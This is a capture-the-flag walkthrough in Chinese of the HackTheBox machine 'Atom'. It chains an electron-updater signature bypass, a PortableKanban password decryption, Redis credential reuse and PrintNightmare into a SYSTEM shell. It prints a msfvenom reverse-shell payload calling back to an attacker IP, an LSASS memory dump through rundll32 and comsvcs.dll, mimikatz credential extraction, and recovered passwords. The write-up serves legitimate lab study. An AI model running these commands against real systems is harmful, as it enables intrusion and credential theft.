USER

nmap -T4 -v -A -Pn 10.10.10.237 -oN atom.txt

rustscan 再扫一遍可以看到 6379 redis 服务开启

rustscan -a atom.htb

port 80

是一个笔记应用程序,暂时只有 windows 版本,我们可以下载下来

下载好之后如图

SMB

port 445 测试一下 smb,我们可以发现一个Software_Updates

可以进入后下载其中发现的 UAT_Testing_Procedures.pdf

smbclient -N -L //10.10.10.237
smbclient -N //10.10.10.237/Software_Updates

查看可以看到基本是对于应用的一些简介

electron-updater

回到应用,打开后查看$PLUGINSDIR 文件夹

其中有一个app-64.7z,我们解压出来

在 app-64/resources 目录下 cat app-update.yml

可以发现一个子域名http://updates.atom.htb,但是这个域名直接网页打开和主域名一样

对于 app.asar 可以下载 asar 提取器查看

https://juejin.cn/post/7260326790534742073

npm install -g asar
asar extract <asar-file-path> <output-directory>

解压后的 main.js,我们可以看见在程序启动的时候会检查更新

过滤一下 autoupdate 的信息

main.js 中可以发现使用的是 electron-updater

electron-updater是一个用于Electron应用程序的自动更新模块

grep -Ri autoupdate |less

针对于 electron-updater 有漏洞可致 rce

https://blog.doyensec.com/2020/02/24/electron-updater-update-signature-bypass.html

在 url 中有引号会破环签名检测,同时执行命令

先生成 payload(记住这里的 7168bytes,等会儿构建 payload 会用到)

msfvenom -l payload
msfvenom -p windows/x64/shell/reverse_tcp LHOST=10.10.14.48 LPORT=5566 -f exe -o rev.exe

观察 payload 模板,我们还需要文件的 sha512 值

生成一下

sha512sum rev.exe | awk '{print $1}'| xxd -r -p| base64 -w 0

然后修改 latest.yml 如下

然后我们通过 smbclient 上传

put latest.yml
put rev.exe r'ev.exe

等待一分钟之后,就会收到atom\jason 用户的 rev shell

到桌面就能看到 user.txt

ROOT

kanban-cfg

接下来就是逛逛

在用户的/downloads 目录下发现一个应用 kanban

kanban 是一个项目管理框架,用于创建和管理任务

对于 kanban 有漏洞

https://www.exploit-db.com/exploits/49409

但是 exp 需要PortableKanban.pk3 文件,这里是没有的

但是有 portablekanban.cfg,其中也有配置信息,但是有点乱

保存到 kali,然后 jq 格式化查看

cat config|jq.

我们可以找到这个加密的密码

Odh7N3L9aVSeHQmgK/nj7RQL8MEYCUMb

然后修改 exp,执行就可以拿到 redis 密码了

import json
import base64
from des import *
import sys

hash = base64.b64decode("Odh7N3L9aVSeHQmgK/nj7RQL8MEYCUMb")
key = DesKey(b"7ly6UznJ")
print(key.decrypt(hash,initial=b"XuVUm5fR",padding=True).decode('utf-8')) 

kidvscat_yes_kidvscat

kanban-redis

cfg 应该是非预期解决过程,预期解应该要结合 redis

接上面我们没有 pk3 文件之后

我们在 redis 目录C:\Program Files\Redis>查看redis.windows-service.conf 文件可以发现密码

kidvscat_yes_kidvscat

后面的步骤相同

可以用这个密码连接到 redis,认证后查看用户键的具体值

redis -h 10.10.10.237
keys *
get "pk:urn:user:e8e29158-d70d-44b1-a1ba-4949d52790a0"

Odh7N3L9aVQ8/srdZgG2hIR0SSJoJKGi

然后用脚本解密

然后密码 evil-winrm 连接即可拿到 root.txt

SYSTEM

这个机器有趣的是,他还能提升到 system 权限

printnightmare

https://github.com/cube0x0/CVE-2021-1675

要利用这个漏洞需要先获得低权限用户的密码

再上传 mimikatz 麻烦了,直接 rundll32 dump

https://redcanary.com/threat-detection-report/techniques/lsass-memory

tasklist |findstr lsass #需要先查看进程id
rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump 676 C:\Users\Administrator\Documents\lsass.dmp full

download lsass.dmp 之后使用 mimikatz 查看

sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords full

jason 密码: kidvscat_electron_@123

下载 payload

git clone https://github.com/cube0x0/CVE-2021-1675.git

如果运行 payload 还需要更新专用 impacket

为了防止环境问题,后面的操作都用 python venv(pip install -r requirements.txt\python setup.py install 等操作)

python -m venv venv
source venv/bin/active

同时这个项目的 py 文件有更新,我们可以下载最新,命名为 printnightmare.py

测试是否能运行成功

可以看到成功访问我们的 smb 服务

python printnightmare.py 'jason:kidvscat_electron_@123@10.10.10.237' cxk '\\10.10.14.48\cxk'

那么接下来我们就需要一个免杀 rev shell dll,否则可能被 kill 掉

找一个 cpp reverse shell

如果直接用 impacket-smbserver 生成会显示

impacket-smbserver -smb2support share .

查看 payload 描述有 smb 的配置方法


最后 service smbd restart重新启动 smb 服务,payload 改为访问 dll 即可获得 system shell


"The quieter you become, the more you are able to hear."